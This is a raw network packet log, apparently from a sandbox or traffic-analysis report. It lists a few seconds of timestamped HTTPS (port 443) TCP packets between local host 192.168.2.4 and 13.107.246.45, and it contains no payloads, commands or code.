Nov 1, 2024 03:46:38.635622025 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.635963917 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.635977983 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.636399984 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.636405945 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.643167019 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.643526077 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.643554926 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.643929958 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.643935919 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.728166103 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.728233099 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.728317976 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.728471041 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.728485107 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.728538036 CET	49985	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.728543997 CET	443	49985	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.731206894 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.731235027 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.731298923 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.731425047 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.731436968 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.762846947 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.762908936 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.763031006 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.763107061 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.763115883 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.763119936 CET	49987	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.763123989 CET	443	49987	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.766539097 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.766597033 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.766680956 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.766839981 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.766864061 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.812844992 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.812911987 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.813028097 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.813057899 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.813072920 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.813083887 CET	49986	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.813087940 CET	443	49986	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.815042019 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.815069914 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.815207005 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.815336943 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.815360069 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.840807915 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.841134071 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.841146946 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.841532946 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.841536999 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.971200943 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.971285105 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.971344948 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.971534014 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.971534014 CET	49988	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.971549988 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.971558094 CET	443	49988	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.974817991 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.974853992 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:38.975084066 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.975254059 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:38.975265980 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.088295937 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.088788033 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.088838100 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.089262009 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.089277029 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.216270924 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.216398001 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.216558933 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.216619968 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.216655970 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.216681004 CET	49989	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.216700077 CET	443	49989	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.219343901 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.219376087 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.219547987 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.219702005 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.219717026 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.471348047 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.471896887 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.471920967 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.472347975 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.472353935 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.493289948 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.493664980 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.493689060 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.494071007 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.494076967 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.534472942 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.535038948 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.535048962 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.535274982 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.535279989 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.605969906 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.606611013 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.606724977 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.607714891 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.607737064 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.607794046 CET	49990	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.607803106 CET	443	49990	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.610534906 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.610573053 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.610758066 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.610781908 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.610786915 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.622251987 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.622283936 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.622320890 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.622351885 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.622383118 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.622548103 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.622565031 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.622576952 CET	49991	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.622582912 CET	443	49991	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.624607086 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.624645948 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.624758959 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.624903917 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.624917984 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.663912058 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.664019108 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.664145947 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.664199114 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.664206982 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.664253950 CET	49992	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.664258957 CET	443	49992	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.665986061 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.666024923 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.666098118 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.666225910 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.666241884 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.702811956 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.703216076 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.703229904 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.703664064 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.703671932 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.831291914 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.831336975 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.831387997 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.831448078 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.831588984 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.831588984 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.833687067 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.833709955 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.833726883 CET	49993	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.833745003 CET	443	49993	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.833780050 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.833956003 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.833966970 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.948525906 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.953854084 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.953866959 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:39.954329014 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:39.954340935 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.081017971 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.081084967 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.081363916 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.081363916 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.081363916 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.084064007 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.084091902 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.084158897 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.084333897 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.084347963 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.303052902 CET	49994	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.303066015 CET	443	49994	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.375322104 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.375967026 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.375983000 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.376661062 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.376666069 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.391741991 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.392563105 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.392576933 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.392704964 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.392710924 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.401884079 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.402369022 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.402378082 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.402806044 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.402812004 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.502039909 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.502291918 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.502386093 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.502438068 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.502449036 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.502459049 CET	49996	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.502465010 CET	443	49996	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.508405924 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.508449078 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.508547068 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.508771896 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.508788109 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.522084951 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.522116899 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.522170067 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.522207975 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.522280931 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.522558928 CET	49995	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.522569895 CET	443	49995	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.526000023 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.526020050 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.526218891 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.526479006 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.526489019 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.574548006 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.574738979 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.574851036 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.574932098 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.574942112 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.574953079 CET	49997	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.574958086 CET	443	49997	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.578141928 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.578166008 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.578305006 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.578403950 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.578417063 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.842144966 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.842708111 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.843014956 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.843036890 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.843352079 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.843362093 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.843589067 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.843594074 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.843929052 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.843933105 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.971193075 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.971223116 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.971268892 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.971333027 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.971390009 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.973117113 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.973128080 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.973141909 CET	49999	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.973148108 CET	443	49999	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.976730108 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.976788044 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.976874113 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.977016926 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.977040052 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.977123976 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.977257967 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.977274895 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.977339029 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.977356911 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.977363110 CET	49998	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.977366924 CET	443	49998	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.979918003 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.979942083 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:40.980074883 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.980217934 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:40.980226994 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.226460934 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.227112055 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.227123022 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.227624893 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.227632046 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.280983925 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.281755924 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.281766891 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.282224894 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.282228947 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.356091976 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.356136084 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.356209993 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.356492043 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.356492043 CET	50000	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.356508017 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.356517076 CET	443	50000	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.361155987 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.361177921 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.361315966 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.361547947 CET	50005	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.361558914 CET	443	50005	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.411405087 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.411493063 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.411676884 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.411917925 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.411928892 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.411953926 CET	50001	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.411958933 CET	443	50001	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.415543079 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.415579081 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.415771961 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.415843010 CET	50006	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.415854931 CET	443	50006	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.647084951 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.653145075 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.653156996 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.653630018 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.653634071 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.697173119 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.698085070 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.698103905 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.698766947 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.698774099 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.702239990 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.702855110 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.702871084 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.703414917 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.703419924 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.825304031 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.825325966 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.825381994 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.825454950 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.825499058 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.825782061 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.825798988 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.825810909 CET	50004	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.825817108 CET	443	50004	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.828901052 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.828934908 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.829035044 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.829197884 CET	50007	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.829211950 CET	443	50007	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.831257105 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.831439972 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.832348108 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.832366943 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.832366943 CET	50003	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.832380056 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.832389116 CET	443	50003	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.834471941 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.834515095 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.834603071 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.834705114 CET	50008	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.834721088 CET	443	50008	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.916542053 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.916565895 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.916629076 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.916690111 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.916755915 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.916913986 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.916927099 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.916980982 CET	50002	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:41.916986942 CET	443	50002	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:41.919152975 CET	50009	443	192.168.2.4	13.107.246.45
